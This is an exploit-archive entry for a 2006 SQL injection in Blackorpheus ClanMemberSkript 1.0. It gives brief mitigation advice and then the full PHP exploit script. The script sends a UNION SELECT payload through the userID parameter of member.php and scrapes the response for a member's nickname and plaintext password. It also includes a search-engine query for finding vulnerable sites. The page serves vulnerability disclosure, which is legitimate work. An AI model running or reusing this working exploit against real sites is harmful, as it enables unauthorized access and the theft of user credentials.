header-logo
Suggest Exploit
vendor:
ClanMemberSkript
by:
snatcher
5.5
CVSS
MEDIUM
SQL Injection
89
CWE
Product Name: ClanMemberSkript
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE:
CPE: a:blackorpheus:clanmemberskript:1.0
Metasploit:
Other Scripts:
Platforms Tested:
2006

Blackorpheus ClanMemberSkript 1.0 remote sql injection

The Blackorpheus ClanMemberSkript 1.0 application is vulnerable to a remote SQL injection attack. By exploiting an unescaped variable in the 'member.php' file, an attacker can insert malicious SQL code, such as a union operator, to retrieve passwords in plaintext.

Mitigation:

To mitigate this vulnerability, the developer should properly escape user input when constructing SQL queries or use parameterized queries. Additionally, the use of strong, hashed passwords is recommended to prevent unauthorized access even if the passwords are retrieved in plaintext.
Source

Exploit-DB raw data:

<?php /*

 |---==============================================================---|
 |                          /\¯\__       /\¯\                         |   
 |     ____    ___      __  \ \  _\   ___\ \ \___      __    ___      |    
 |    /  __\ /  _  \  / __ \ \ \ \/  / ___\ \  _  \  / __ \/\  __\    |    
 |   /\__,  \/\ \/\ \/\ \_\ \_\ \ \_/\ \__/\ \ \ \ \/\  __/\ \ \/     |     
 |   \/\____/\ \_\ \_\ \__/ \_\\ \__\ \____\\ \_\ \_\ \____\\ \_\     |      
 |    \/___/  \/_/\/_/\/__/\/_/ \/__/\/____/ \/_/\/_/\/____/ \/_/     |     
 |                                     >> Internet Security           |                         
 |---==============================================================---|
 
        title: Blackorpheus ClanMemberSkript 1.0 remote sql injection
      release: 2006-04-16
       author: snatcher [snatcher at gmx.ch]
      country: switzerland  |+|
	  
  application: Blackorpheus ClanMemberSkript 1.0
  description: a php / mysql based member management system
     download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=21
  description: you can get each password with a simple sql injection. the password 
               is plaintext :)
  fingerprint: google -> "powered by ClanMemberSkript" -> 18
       greets: honkey, str0ke <- good exploit publisher :),
			   all security guys and coders over the world,
 terms of use: this exploit is just for educational purposes, do not use it for illegal acts.


---------------------------- member.php - line 7 -------------------------------------
$result = MYSQL_QUERY(" SELECT * FROM $member_tab WHERE userID=$userID ");
-----------------------------------------------------------------------------------------

because this $userID isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.


*/

/*********************** CONFIGURATION ****************************/

$PATH_TO_FILE  = 'http://yourhost.com/member.php';                 // in example: http://yourhost.com/member.php
$USER_ID       = 1;                                                // which user? default: 1
$TABLE_PREFIX  = '';                                               // default: empty
$GET_VARS      = '?userID=';                                       // do not change
$SQL_INJECTION = '-666 union select 0,0,0,0,0,0,0,0,0,nick,pass,'. // do not change
                 '0,0,0,0,0,0,0,0,0,0,0,0 from '.$TABLE_PREFIX.
				 'membersettings where userID = '.$USER_ID.' limit 1/*';


/**************************** MAIN ********************************/

$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn\'t open host!'); 
foreach ($file_array as $now)                               
	$html_content .= $now;

$html_content = str_castrate($html_content);

preg_match_all("!Geburtsdatum:</font></td><tdwidth=\"50%\"><fontface=\"Verdana,Arial,Helvetica,sans".
               "-serif\"size=\"2\">(.*?)</font>!",
			   $html_content,$username); /* gets username */
preg_match_all("!Wohnort:</font></td><tdwidth=\"50%\"><fontface=\"Verdana,Arial,Helvetica,sans-serif".
               "\"size=\"2\">(.*?)</font>!", 
                $html_content,$password); /* gets password */

if ($username[1][0] && $password[1][0]) {
	echo 'username: <b>'.$username[1][0].'</b><br>';
	echo 'password: <b>'.$password[1][0].'</b>';
}else {
	echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: Blackorpheus ClanMemberSkript 1.0 remote sql injection<br>
release: 2006-04-16<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';

function str_castrate($string) {
	$string = str_replace("\n", '', $string);
	$string = str_replace("\r", '', $string);
	$string = str_replace(" ", '', $string);
	return $string;
}
?>

# milw0rm.com [2006-04-16]